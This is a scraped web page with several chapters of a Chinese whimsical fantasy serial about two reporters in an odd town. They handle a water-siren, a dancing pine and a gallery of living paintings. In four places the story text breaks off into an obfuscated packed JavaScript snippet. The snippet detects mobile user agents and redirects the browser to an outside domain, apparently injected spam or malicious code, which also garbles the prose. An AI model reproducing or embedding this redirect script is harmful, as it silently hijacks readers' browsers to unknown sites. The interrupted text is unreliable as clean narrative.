凯西想到自己接下来要说什么就想笑:“我在关心你。古怪多是个危险的地方,这里的人会为了逞一时之勇拿恶魔打赌,空间重叠这种事情吃个早饭的功夫就有可能发生,连画画的颜料都有着让整个小镇停摆的可怕力量……” 珀尔咬了下嘴唇,显然有点被唬住了,但她强装镇定地说:“我不怕!我很强的!你让开!” “有很多人都觉得自己很强,”凯西深沉地说,“就像那个拿恶魔打赌的人,也不会想到自己会因此落得一个缠绵病榻的下场。你应该谨慎。” 或许是因为本不富裕的耐心已经被耗尽,或许凯西刻意渲染的恐怖情绪反而让她更加烦躁,更加需要释放,珀尔终于抬起双手,开始做那串凯西之前已经见过的手势。 “你很烦,”珀尔说道,“我讨厌你,我讨厌这种‘外面的世界很危险所以你不能去’的套话,你给我滚开!” 一股强烈的水流从浴缸排水口喷涌而出,在半空凝聚成一把巨大的剑,正要朝凯西刺去! ——然后在下一刻,它就因为水流量不足崩溃散开。 珀尔难以置信地看向排水口:“这里,没有水了?” 她将手掌贴近那里,努力想要催出水来,排水口抱歉地吐出一点聊胜于无的水泡,然后就再也没有了反应。 “不可能,不可能!”珀尔暴躁地开始用手捶打不争气的排水口,但她除了拥有异常强大的控水能力之外,□□强度似乎并没有什么突出之处,除了弄疼自己的手之外没有任何效果。 凯西放下心来,知道这个小海妖暂时翻不出什么浪花。 她丢下一句:“看来你现在并不强,我想你需要再多考虑考虑要不要出去。” 然后她离开浴室,关上门,上了锁,直奔卧室。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456962|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 莉娜还躺在床上,而且已经睡着了。旁边守着的人是菲比警长,看到凯西之后,她在嘴唇前竖起食指,两人轻手轻脚地走到了客厅才开始说话。 菲比说:“你刚才进去之后,佩妮去联系了叽叽,让叽叽去找我,还特地强调说别让查莉过来。她自己则跟铁臂女士一起去地下管道,说是要关掉莉娜家浴室里的水源。我看你毫发无损地出来,应该是已经起了效果。” 凯西点点头:“珀尔暂时没法再使用水魔法了。但是她不可能一直被锁在莉娜家的浴室吧,有什么办法能送她回去吗?” 菲比说:“这方面大概不用我们操心,那个之前接她回去的……存在,想必这次也会一样地带走她的。” 忽然,她们都不自觉僵住了身体。 那道熟悉的、带有强大压迫感的意志,就像蓝鲸从小虾米身旁游过一样,轻轻地掠过她们,落在了浴室的方向。 她们隐隐约约能够听到珀尔的声音,像是在没有底气地争辩着什么,很快就被压制住了,再然后是一阵咕噜咕噜的水声。水声结束后,浴室里就再没有别的声响了。 【我为我妹妹的打扰向你们道歉,】那意志回到客厅,对她们说,【感谢你们及时控制住她们,没有造成更大的影响。】 菲比浑身毛发炸起,强撑着说道:“你应该看好她。” 意志沉默了一会儿。 【我正努力这么做。】 “你的疏忽不应该让古怪多的居民承担后果。”菲比似乎镇定了一些,声音也变得强硬起来。 【我很抱歉。我将尽力补偿你们。】 “如果真是如此,你就该亲自前来与我对话,”菲比严厉地说,“而不是每次都像这样,甚至不肯开口说话,只用意念和我们交流。” 【我现在正在处理海底的一些事宜,暂时抽不开身,至于说话……恐怕就算我们见了面,我也还是无法发出声音与你们交谈。无论如何,我为我暂时无法与你们真正见面表示抱歉,希望这不会让你们感到太多的怠慢。我将在眼下的事情告一段落后前来拜访。那么现在,再见。】 那道意志离开了。 菲比和凯西一时都有点沉默,那种压迫感似乎还残留在这个地方。谁也不知道该说些什么。正在这个时候,莉娜的声音从卧室传了出来:“佩妮,凯西?你们都去哪里了?一只螃蟹爬到了我的床上!它是从哪里来的?别告诉我你们的慰问品里还有活着的、没有捆上的螃蟹!天哪,它开始用钳子夹我了!” “哈哈哈。” “噗嗤。” 凯西和菲比警长几乎是同时笑了出来。她们对视一眼,然后,凯西一边朝卧室走去一边提高了声音:“我这就来。说起来,莉娜,你家浴室停水了。” “……真的?” “是真的,而且是佩妮和铁臂女士亲手帮你停的。关于这个事情,你还得谢谢她们俩呢。” 18.初来乍到(18) 在莉娜家的浴室供水恢复后,菲比警长说她买了胃药,要去迷雾森林看望生病的卡翠娜,凯西和佩妮提出跟她一起去。 “我感觉我来之后光忙着在地下跑了,都不记得小镇附近还有一片森林。”凯西边开车边说。 佩妮立刻安慰她:“其实我也不常来……别担心,你以后往森林这边跑的机会也不会少的。” “我觉得这不太像个安慰……” 她们在林子边缘下了车。走进去之后,鼻腔充盈着泥土与腐叶的气息,湿润而清爽,令人精神一振。周围都是直插向天的树干,生着细小的菌类,头顶的绿意掺杂零星光斑。 卡翠娜住在这片森林中一棵合抱粗的大树上,她的鸟巢由柔韧的树枝,坚固的铁丝,闪亮的糖纸,柔软的绒线和羽毛构成,关于羽毛,那其中一些像是从她自己身上掉下来的,一些则跟莉娜身上的十分相像,其余的一些都是杂色乱羽,来源就不太好判断了。 此时,这位古怪多知名捣蛋鬼正缩在她的巢穴里,发出断断续续的呻吟。 “嘎……本镇长的胃,像是被岩浆烧了个洞……回头我得向波比多征收几个馅饼作为税款……本镇长也是体验过火炎滋味的鸟了……” 菲比听着她像这样自言自语,露出又是无奈、又是好笑的表情。 “卡翠娜,”菲比说,“你又假冒镇长征收税款了?” 卡翠娜从巢里伸出头,瞪大了眼睛朝着菲比看了又看:“胡说八道……菲比警长,我念在你为本镇发展做出的贡献的份上不对你过多惩戒,但还请你收回那些污蔑本镇长的发言……” 菲比笑着摇了摇头:“我是来给你送胃药的。你还飞得下来吗?” “本镇长怎么会飞不下去……本镇长可是古怪多小镇两大飞行达人之一……至于为什么是两人并列,那是我让着莉娜那个傻瓜……”卡翠娜说着,竭力展开双翅,然后身子一歪,倒回到巢里。 “看来飞行达人也怕生病。”菲比说着,开始往树上爬。 卡翠娜一下子提高了声音:“不用,不用!菲比警长,你不必为本镇长的病如此尽心竭力,本镇长……很快就会康复的。” 她跟已经爬到身旁树杈上的菲比来了个大眼瞪小眼,然后安静了下来。 “吃药。”菲比说,语气难得的温和。 树上母女情深,树下,凯西和佩妮被一阵奇怪的声音所吸引。 那声音起初很微弱,随后渐渐地大了起来。是一种已经被时光磨损,却依然富有力量感,甚至因为年龄感更多了一份沧桑的氛围的声音。 这样的声音,唱的歌却十分欢快: “古怪多,多古怪, 乌鸦和鹰鸟比使坏。 老鼠在地下把会开, 为的是警长把命令派。 说警长,真是怪, 大灰狼也把那警靴踩。 一到了月圆可真是坏, 陆上的植物在摇摆, 海底的精怪游上来。 水豚精,多古怪, 再大的事情她不骇, 她满脸平静又无奈, 她处理起事情也挺带派……“ 歌声越来越近,唱歌的人也从树木的遮蔽中走了出来。 这是一个老人,大概有星语者那么老吧,但精神状态真是天差地别。凯西没有哪次见到星语者,她不是神游天外、沉浸在自己的思考中的状态。而这位老人的双眼湛湛有神,洋溢着一种孩子般的、欢快而天真的笑意,这种笑意顺着她脸上的皱纹舒展开来,像是层层扩散的池塘涟漪。 她兴致勃勃地看了看树上的菲比和卡翠娜,又看了看树下的凯西和佩妮。 “小乌鸦生病了?”她说道,晃了晃手里的一个瓶子,“我带了养胃的饮料,要不要来一点?” 菲比轻叹了口气,然后说:“树心女士,请别再教唆未成年饮酒了。” “我这不是酒,我这是小麦果汁。” “好吧,也别再给未成年推荐这种……含酒精的果汁了。” “我知道她不能喝,”树心找了个树桩坐下,“但我看到你在,就忍不住想开这个玩笑。” 菲比又叹了口气:“您最近过得还好吗?森林里有没有什么情况?” 树心回忆了一下:“大事情没有,不过确实有点麻烦的小事,或许两位记者小姐能够帮上点忙?菲比你正在照顾孩子,我就不麻烦你了。” 她看向凯西和佩妮,眼里闪动着期待的光。 凯西和佩妮对视一眼,都点点头:“好的,我们没问题。” 她们跟在树心身后,老人的脚步比两个青年更加轻捷矫健,凯西还要稍微好一些,个头偏矮的佩妮几乎小跑起来。 树心带她们来到林间的一片空地,阳光将这一片的草木都照得带上金属色泽。空地的中间,有一棵树。 这棵树不是一般的树,它在跳舞。 它的树干疯狂地扭曲着,时而像波浪,时而像螺旋。它的枝条上下跳跃,树叶甩得沙沙响。它的根茎已经从土地中拔了出来,像人类的脚一样踩着混乱的舞步。 “这是跳舞松。”树心介绍道,“它一直以来都很喜欢跳舞,但是可能因为本来住在它头上的一窝松鼠搬家了,所以最近跳得格外疯狂。以前它因为怕伤到松鼠们,多少还会收敛一点,现在它完全放开了。” 凯西问道:“所以,您希望我们帮的忙是?” “我希望你们能够……安抚一下它。树的生长是遵循着某种韵律的,它们的舞蹈也是。平静舒缓的音乐能够让它的舞蹈也变得没那么激烈。我在报纸上看到过你们用音乐安抚画家露娜的事情,或许你们也能帮我这个忙。” 凯西说:“我们尽量一试。” 她和佩妮合奏了一曲悠扬婉转的民谣,陶笛的空灵幽寂与尤克里里的轻快活泼彼此交织,听上去仿佛一条安静、但并不停滞的溪流在流动。 跳舞松的舞蹈伴随着音乐的流淌逐渐变得慢而温柔,它的枝条动作变得柔软,像是随着音乐的流淌轻轻摇晃,之后越来越慢,越来越慢,终于停了下来。它垂着头,像是正在感到悲伤和失落。 树心走过去,像是在拍打老朋友的肩膀一样轻轻拍了拍跳舞松的树干:“我知道奇奇卡卡离开之后你很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463104|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孤独,但我想没头没脑的发泄并不是最好的选择。现在你已经冷静了下来,愿不愿给我这个老朋友一个拥抱?” 然后她张开双臂,跳舞松伸展开枝条和她拥抱在一起。 “我在这片森林当护林人都快五十年了,比我在镇上待的时间还要长。”从跳舞松那里离开后树心说道,“这里的树有的有灵智,有的变成树精离开了,有的则一直都是普普通通的植物,但它们都是我的朋友。有时候我觉得自己也快变成了一棵树,只是行动起来更灵活一点。” 凯西说:“这种生活听上去……很安静。” 树心笑了:“安静?森林可不安静。夜晚的街道安静吗?乍一听是的,但仔细听你就能听到风的声音,隔壁邻居的声音,甚至于你的房子本身的声音。你们住在老阿加莎的活屋里,我没记错吧?” “是的。” “看,我的记忆力还可以。这片森林和古怪多小镇是一样的,既吵嚷又喧闹,稀奇古怪的事情植物做的可不比动物少,何况这里也有不少动物,还住着那只无法无天的小乌鸦。可这地方能让你的心灵得到宁静。我说不出什么漂亮话来,但我觉得就是这样的。” 她们边走边聊,树心给她们看会发光的苔藓,靠近听会有呢喃细语声的蘑菇,松鼠蹿上树干蹿到一半忽然停下来看她们一眼,然后又继续蹿上去,间或有鸟雀在枝叶灌木间鸣叫。 回到卡翠娜居住的那棵树下时,卡翠娜已经好转一些,只是依然耷拉着羽毛无精打采。菲比说她今晚就住在这里了,让凯西和佩妮自己回去。 “那么,”凯西说,“今晚又是查莉警官守夜了?” 菲比笑着说:“我想她会做好这份工作的。” 于是凯西开着车,佩妮坐在副驾驶上,朝着活屋的方向开去。天上群星繁丽,闪烁不定,小镇的街道时不时传来嘈杂的人声。阿加莎坐在门廊的躺椅上,录音机里放着轻柔安静的音乐。 “阿加莎女士,”凯西靠过去,小声说道,“阿加莎女士。” “怎么了?”阿加莎抬头问道。她眼光锐利,十分清醒,显然刚才只是在闭目假寐。 凯西把今天利爪说的地下管道靠海部分有奇怪声响,和珀尔出现在莉娜家浴室的事情说了一遍,然后说道:“这个叫珀尔的小海妖似乎很危险,而她背后的那个姐姐更是深不可测。我其实想知道……贤者会的人,对这件事是什么看法?” 阿加莎说道:“你这个死丫头,你对贤者会的事情早就好奇了吧?贤者会对这件事很重视,但不是因为觉得那一个两个人危险。那个小海妖的力量很强,但是对贤者会来说不算什么。她背后的那个人呢,我们暂时不知道具体实力,但那既然是个能交流的,也就不是什么特别大的问题。贤者会重视这件事,主要是因为:长久以来,大海对古怪多一直保持着沉默。而现在,时代要变了。” 这段话让凯西精神为之一阵,眼角余光看到佩妮也紧张地把双手绞在了一起。 “对了,你们今天去森林,见到树心那老家伙了吧。我跟她,说起来也是好几十年的交情了。”阿加莎慢条斯理地说着,把话题引开了。 19.初来乍到(19) “……我觉得可以这么写,‘有理由认为,本镇的地下管道与海洋产生了某种非典型的联系’,把珀尔和她姐姐的事情略过去。你觉得怎么样?”凯西一边咬着笔头,一边说道。 佩妮认可地点点头:“我认为可以。” 凯西正在跟佩妮讨论有关最近镇上水元素波动的报道的问题。基于小镇和海洋王国目前微妙的局势,显然还是像游泳池事件一样暂且把珀尔的存在隐去为好,于是她们又写出了一篇仿佛小镇怪谈般的报告。有心人或许能把这两件事联系在一起,写出一套像模像样的黑暗理论——凯西发现即便是古怪多这种怪事频发的地方,没头没尾的未解之谜依然会引起人对阴谋论的热情与创作欲望。 正当她们讨论得差不多了,开始正式的行文时,有人推门走了进来。 凯西看向来者,只见一个比格犬女孩穿着大了一号的西服和明显不适合她的脚型的皮鞋,以一种十分别扭的端正姿态进入了报社,她的大耳朵不像平时那样上下拍打着,而是被服服帖帖地塞进了一顶扁平的帽子。 尽管她为了让自己看上去比较稳重付出了如此之多的努力,但凯西还是一眼就认出了她:那个拍照水平堪忧,被她哄去进修技术的派珀?罗杰。 “你们好,”派珀拘谨地说道,“请问斯泰德主编在哪里?我想见她。” 她努力压低声音,力图显得更加正式和专业,但还是没完全压住声音里蠢蠢欲动的小毛刺。 凯西感觉自己的嘴角在抽搐。她压住涌起的笑意,把罗茜的办公室门指给派珀看:“在那里。” 派珀敲门进去后,门没有关紧,于是办公室里的对话声传了出来。 “罗茜主编,”派珀的声音充满了期待,“请问您看过我寄来的《古怪多的早晨》系列摄影作品了吗?” “看过了,”罗茜说道,“很特别的作品。在拍摄角度的选取方面十分别出心裁。” “谢谢你,我确实在这方面下了不少功夫!” 罗茜诡异地沉默了一会儿:“……但特别并不等于适合我们报社。” “为什么,之前米勒记者告诉我我的作品情绪过于强烈,现在我都努力拍出冷静平和的感觉了。还有什么是不适合你们的吗?” “实际上,正是你的个人特色——与众不同的拍摄角度——让你无法与我们报社适配。你喜欢在选取拍摄角度时另辟蹊径,寻找更具张力的构图,可这种方式有时却会导致拍摄对象某些特征的失真,这种失真对于新闻行业来说,往往是致命的。你应该多读些书,想想身为一个记者,你看世界的眼光应该是怎样的。” “我明白了,”派珀的声音带着无可避免的失落和拨云见日的开悟,“我下次再来见你,主编。” “加油,年轻人。” 之后,派珀维持着之前的别扭走姿,走出罗茜的办公室,走出古怪多日报的小楼。 “真是个富有热情的年轻人,”罗茜端着咖啡杯走出来,说道,“就是拍照技术实在是……有待提高。佩妮,凯西,水元素这篇写得怎么样了?” 凯西跟佩妮交换了一个眼神:“已经讨论得有点眉目了,就差行文了。” “尽快写出来。今晚露娜?穆恩的画展会在月之印记正式开幕,你们去做个专题报告。” “露娜?穆恩?”凯西回想起那个不太像狼人的狼人画家,“她的闭关结束了?” “不仅是结束,而且收获颇丰。据说她还跟树精维洛合作,往使用的颜料里掺了点东西……但愿这次那位颜料商别把固化剂和催化剂弄混。” 当天晚上,凯西和佩妮到达月之印记的时候,已经有不少人在画廊里游览了。菲比警长和查莉警官正在其中,很可能是为了维持秩序,但菲比对那些画的兴趣也是显而易见的;鲁特兴致勃勃地观察着画上的颜料,跟飞在她身旁的谭西轻声讨论着其中可能使用的草木材料;一个穿着银灰色套装,白发一丝不乱的女士,领着一群穿着校服的青少年在有秩序地观看每一幅画,其中有莉娜和卡翠娜,也有白天见过一次面的派珀。派珀举着她的照相机,十分专注地给每张画作拍照。 凯西开始看画:第一幅名叫《裂茧》,画的是一只即将从虫茧中羽化的飞蛾。虫茧呈现出一种明亮的白色,像是释放清辉的月亮,裂隙中隐隐可见的形体既像飞蛾,又像人类,但那类人的、覆盖着不仅限于头发的毛发的形体,显然正是狼人的象征。这枚茧被安放在看似纯黑却暗流涌动的蓝黑背景中,那隐藏在黑暗中的汹涌波涛,似乎将要把这枚茧吞没,又似乎是一种强烈情感的象征。 当凯西按下快门时,她似乎看到茧上的裂隙扩张得更大了一些。她揉了揉眼睛,无法确定。 第二幅《束缚》,画的是大量薄膜质感的物体,一层一层蒙在似人的形体上。那薄膜给人一种致密的感受,似乎是完全不透气的。而被束缚其中的形体则正努力想要从中挣脱出来而不得。整幅画给人一种窒息的感觉。 这次,凯西明显地感觉到了画中人的呼吸,薄膜质物体的起伏…… 佩妮也小声地说道:“画……在动。” “维洛的颜料能够产生这样的效果吗?还是这是露娜的能力?” “我不记得露娜以前的画有过这样的现象。或许我们可以找机会问问她。” 她们继续往下看:《镣铐》里,红热的铁镣铐释放着真正的热度,似乎下一刻就要彻底熔化;《静默》中,月光下的小镇街道空旷,每座房屋都门窗紧闭,然而却给观看者传递出一种紧绷的气氛,这静默中隐藏着什么即将爆发的东西,凯西在观看它时出现了类似耳鸣的感觉,佩妮表示她也一样;《碎镜》中,一个人影跪在地上,背对着观看者,似乎正把脸埋在双手之中,周围崩散着大量镜子的碎片,每一片都反射出一个纯黑的、可怖阴影……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466235|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 然而在所有画作中,最惊人、同时也是最大的一幅,当属《奔流》。 它被悬挂在画廊的中央,占据了一整面墙。 画的内容显然正是那个月圆之夜,露娜用几乎没有任何画笔痕迹的写实手法画出月光下的画廊,每一块砖每一片瓦,紧闭大门上的每一块锈痕。然而,对于门下流淌而出的颜料,露娜做了极大的夸张化处理。 在现实世界,从月之印记流出的不过是一条轻浅而平静的小河,而在这幅画中,它被赋予了极大的流量和活跃度,颜色也比那天晚上的更加丰富,更加明亮。它不是在被月光照亮,它是向外放射光芒,而那光芒中的色彩之丰富,则令人双眼过于忙乱,看不过来。清澈的蓝与绿,明快的黄色,闪烁星辉的银色与金色……奔腾着,跳跃着,向外碰溅着,仿佛能够听到水花四溅、浪花翻卷的声音。偶尔从河水中跃出抽象化的鱼的形状,随即又跃回到那奔流不息的色彩之中。 对于这幅画,所有动态的描述都是纯字面意义上的,它确实正在动,那河水正在奔流,那鱼儿正在跳跃,那声音也确确实实传进了观看者的耳中。 “这……”凯西一时词穷。她举起相机,想要拍下这惊人的景象,却发现光芒四射的色彩之河在镜头下变得黯然失色,似乎有什么是无法被拍摄捕捉到的。 佩妮说:“这幅画的视觉效果,有很多是通过魔法元素的波动影响到人的视觉,因此而做到的。你的相机似乎是个完全的魔法绝缘体,因此无法拍出真正的效果。” “原来如此……”凯西看着《奔流》,“这是一幅只能用眼睛去看,耳朵去听的画。” “这是我和维洛一起想出来的主意,”一个声线给人凉爽的感觉、透着酷劲的声音说,“当时我看到月光下的那条颜料之河,惊叹于它的美丽,遗憾于它的易逝。你给它拍了很好的照片,但依然不能完全展现真正看到它时的美。于是我想,我也要画这样一幅画,照片不能展现它哪怕一半的美丽,只有真正站在它的面前,观看者才能够体会到它给人带来的震撼。” 凯西回头,看到了露娜?穆恩,瘦长身材的狼人,脸上神色淡淡的,唯有看向自己的作品时会露出满意的神情。维洛站在她身边,笑得很开心。 凯西说:“露娜……我真不知道怎么描述我对这个画展的感受。你做得很成功。” “我们,”露娜纠正道,“维洛对这副作品做出的贡献是不可估量的。她让颜料真正地‘活’了起来,在画布上铭刻某种特定的魔纹之后,颜料就可以持续不断地从空气中吸收魔法元素,并且保持这种活跃的状态。实际上,河流的部分完全使用了一种非传统的作画方式,而没有维洛的发明,这种作画方式本身根本不可能成立。” 维洛笑眯眯地说:“你看,我也不只是个会让小镇飞满泡泡的人吧?” 凯西想了想:“其实,那些泡泡也非常美。” 20.初来乍到(20) 光精灵星辰飞到《奔流》的面前,她很小心地遵守着不能触碰画作的规定,但她身周飘着的光粒子却没那么听话,其中几粒飘到了画上。 突然之间,《奔流》的亮度提高了几倍,那种跃动感也增强了几倍,强大的魔力波动从画上释放出来,画廊里的人或非人都不约而同地朝门口的方向挪动,连凯西这个纯人类也被佩妮拽着往后退。 那条画布上的颜料之河像是忽然意识到了这个世界其实有三个维度,不再安于仅仅只是在画布上的平面活动,而是蠢蠢欲动地朝着外面的世界探索着,试探着,直到这种试探突破某个临界点,一滴圆润的、光亮的、倒映与发出缤纷色彩的颜料,从画中缓缓滴落。 和从零到一的突破比起来,之后的一切都不算什么,滴转而变成流,流又变为涌,直到那扇门彻底受不住门后满溢而出的洪流冲击,颜料决堤般奔流而出,冲刷着画廊里的每一寸角落。 好在这时画廊里的人已经全部转移到外面的街道。菲比和查莉忙着拉隔离带,但颜料还在大量涌出,眼看着就要阻拦不住。莉娜和卡翠娜满天乱飞,喊着“颜料危机”,引得小朋友们也跟着一起喊。露娜则表现得异常平静,甚至喜悦,似乎这种出乎意料的状况并不让她惊慌,反而让她感到惊喜。 “它比我想象的还要‘活’,”露娜朝维洛说道,“你在颜料里放了什么?” 维洛回答:“你还记得引起泡泡事件的华彩12号吗?虽然当时出现了一些小问题,但我当时就产生了新的灵感。你告诉我你想要一种可以在画布上也能保持活性的颜料,我就想起了它。当然,我在里面加入了固化剂,让它不至于反应过度,但星辰身上的光粒子似乎催化了魔力的流动……我倒是没想到会出现这种情况。” 露娜说:“原来是这样。这非常美。” 她深吸一口气,像是要在某种强烈的快乐中被溺死了。 “两位女士,”菲比刚刚派吱吱去找贝拉,转头又过来找她们,“很高兴看到你们这么热爱艺术,但你们是否能告诉我,如何让这幅画停下来,以防海啸还没来,我们小镇自己就被颜料淹没了?” 维洛眨眨眼:“我身上还带了点固化剂。不过现在好像用不上了?它……已经快停了。” 确实,从画廊里流出的颜料速度已经慢下来,显出后继无力的颓势。它们缓慢地在街道上流平,在失去魔力的支撑后不复原来的光艳动人,变成一种污浊的杂色液体。贝拉开着她的垃圾车赶到,开始清除这些污染物。 露娜朝着这有些凌乱的场景发了会儿呆,然后忽然抬脚朝画廊里走去。 那副巨大的,曾经涌动着缤纷色彩的画作,此时已经失去了那种无可争议的美艳。画中的画廊门户大开,其中只见倾倒的桌椅,干涸的颜料痕迹,月光照在这空落落的、颓唐的景象中。现在它完全静止了,安静了,留下的只有“痕迹”。 露娜伸出手,摸到画框下部的边缘,指腹沾上一点残余的颜料。 “我以为我完成了《奔流》,”她轻轻地说,“但直到此刻,它才真正完成。” 她重新走出画廊,开始帮助贝拉清理街道上的颜料,维洛站在旁边看了一会儿才反应过来,也加入了进去。 关于派珀?罗杰这位致力于加入古怪多日报的中学生,报社成员们的拒绝逐渐从委婉转为直白,但在对方无穷无尽的热情下还是无力招架,尤其是被炮轰最狠的罗茜主编,她现在已经懒得想出什么听起来比较像话的理由了。 这天,当派珀来到报社,没等她说什么话,罗茜就说道:“罗杰小姐,你还记得自己刚才是哪只脚先迈进报社的吗?” 派珀瞪大了眼睛,显然没想到还会被问到这种问题,她费力回忆着,迟疑地说:“……好像是,左脚?” “那么很遗憾,你不能成为我们的一份子。” “……为什么?” 罗茜正色道:“因为在报社有这样一个传统,进门的时候必须先迈右脚。右脚代表秩序、平衡、稳定,左脚代表混乱、失衡、动荡。你在进报社时先迈了左脚,说明你的身上存在这种不安定的特质,而这对于你从事新闻行业是不利的,因此我不能雇佣你。抱歉,如果下次要来,请记得先迈右脚。” 派珀的表情非常精彩,既有“这家伙在说些什么”的好笑和无措,又有“看她那么认真的样子不会真有这么回事吧”的将信将疑。她抱着满心的疑虑离开了报社。 然后在第二天又满血复活般地再度来访。 这次她十分小心谨慎,右脚着地,单脚跳着进入了报社。 “罗茜主编,”她说道,“这次我是右脚进的门!” 罗茜头都不抬地说道:“抱歉,你身上的棕色斑块一共有七个,所以我们不能要你。” 派珀下意识地低头开始数自己身上的斑块,因为看不清后背上的数量而作罢:“真的有七块?……不对,为什么有七块就不行呢?” “当然不行了!”罗茜的声音深不可测,“七在魔法学中是个特殊的数字,它既是开始又是结束,极可能带来好运也可能导致灾难。而对于报社来说,我们更希望雇佣身上没有强因果的员工。请离开吧,或者,等某天你的斑块减少到六块,或是增长到八块。鉴于你还在青春期,正是长身体的时候,这并非不可能。” 派珀垂头丧气,一步三回头地离开了报社,走的时候还喊着“我一定会再来的!”。 她离开后,报社里安静了一会儿,凯西从竖起的报纸后伸出憋得通红的脸:“主编,您确实挺会‘编’的。” “基本操作罢了。”罗茜摆摆手。 佩妮有点担心地问道:“主编,这样会不会太打击她的自信了?” “我想她的问题恰恰是自信过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471043|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剩了,”罗茜说着,但语气并不严厉,“而且太毛躁,太冲动,很少真正静下心来思考问题。这些都是短时间内难以改正的。我提的那些离谱的要求除了开玩笑,也是在磨练她的脾性,如果有一天她意识到我的说的话有多么可笑,那么她就真正开始思考了。” 佩妮若有所思地点点头:“我明白了,主编。我之前还以为您在耍着她玩呢。” “实际上,确实有这方面的原因。”罗茜笑着看向佩妮瞪大的眼睛,“怎么,你难道从来没有感觉到逗小孩是件非常有意思的事情?那可真是一件憾事。” 那天晚上,凯西和佩妮一起解决阿加莎烤多了的面包。阿加莎有时会烤面包解闷,量远多过一个老人家的胃口,于是凯西和佩妮的晚饭就不用在外面解决了。 今天的面包有些过于干硬,因此两个人吃饭时话都很少。中途佩妮用牛奶冲下嘴里的东西,忽然说:“我刚来报社上班的时候主编总是跟我说些听不懂的话,我才反应过来她不是用心良苦,她就是在逗我!” 然后她跟凯西一起笑了起来。过了一会儿,她们停下了,但活屋里依然有笑声在回荡。 是阿加莎在笑,她一边在厨房里给自己做三明治,一边听着餐厅传过去的声音,发出毫不掩饰的大笑。 这天早晨,凯西和佩妮出门上班,半路上看到预言鸡站在人行道中间。 预言鸡虽然大部分时候都跟在星语者身边,但也经常毫无规律地满镇上乱跑,所以这倒也没什么。但今天,这只平平无奇的、顶多比普通的鸡胖一些的白羽鸡的站姿却异常高傲,她看人时的眼神也莫名地带上了一丝蔑视的意味。 “你,”她朝着佩妮说道,“你将为金色果皮所绊,摔倒于……咯咯哒,咯咯哒!” 预言鸡抬起爪子,留下这么一段没头没脑的话语,走开了。 凯西和佩妮面面相觑。 凯西说:“金色果皮?是指香蕉皮吗?” 佩妮迟疑地说:“或许吧。” “她说你会被香蕉皮绊倒?”凯西不信服地摇着头,“贝拉的垃圾车可是每天三次把镇上从头到尾扫一遍,哪里会有香蕉皮给你踩。” 佩妮的脸上带着忧虑:“我也是这么想的……但我听说,预言鸡的预言有时候会以奇怪的方式得到应验。我想我还是小心一点,说不定从哪里会莫名冒出一块香蕉皮来。” 她去报社的一路上都走得小心翼翼,凯西虽然把预言鸡的预言跟星语者的胡话归为一类,但也忍不住担心起来,忍不住时刻关注着佩妮的脚下。 结果是一直到报社都无事发生。罗茜正等着她们,摇晃着手里的传单说道:“莫伊拉的无限收纳口袋出正式版了,全店商品打八折。你们过去看看,写点什么。这种大事我估计全镇的人都会去看看,那天才虽然惹出不少麻烦,但也是真的解放了全镇镇民的双手。去吧!” 21.初来乍到(21) 奇巧魔法道具店门口挤满了人,其中一个身影吸引了凯西的注意,她眯起眼睛仔细观察。 这身影十分眼熟,体态优雅得体与鬼鬼祟祟兼而有之,在换上一身休闲服之后气质大变,但对于不久前还见过她的凯西来说倒也没有那么难认。 “那是……魅影,那个魔术师?”凯西忍不住说出口。她对这位疑点重重的魔术师印象十分深刻。 佩妮听到凯西说的话,也看了过去:“好像是她……我以为她是拒绝购买一切魔法道具的。” “我想无限口袋这种东西用在日常生活中确实很方便,可能她买了就只是想日常用吧。”凯西虽然这么说,心里对这位原教旨主义魔术师的怀疑更深了。 正在这时,奇巧魔法道具店的店门被打开了,莫伊拉二号走到门外。她用无机质的冰冷声音对聚集此处的顾客们说道:“无限收纳口袋正式发售,每人限购一个。所有商品全部八折,到今天营业结束为止。请大家有序排队。” 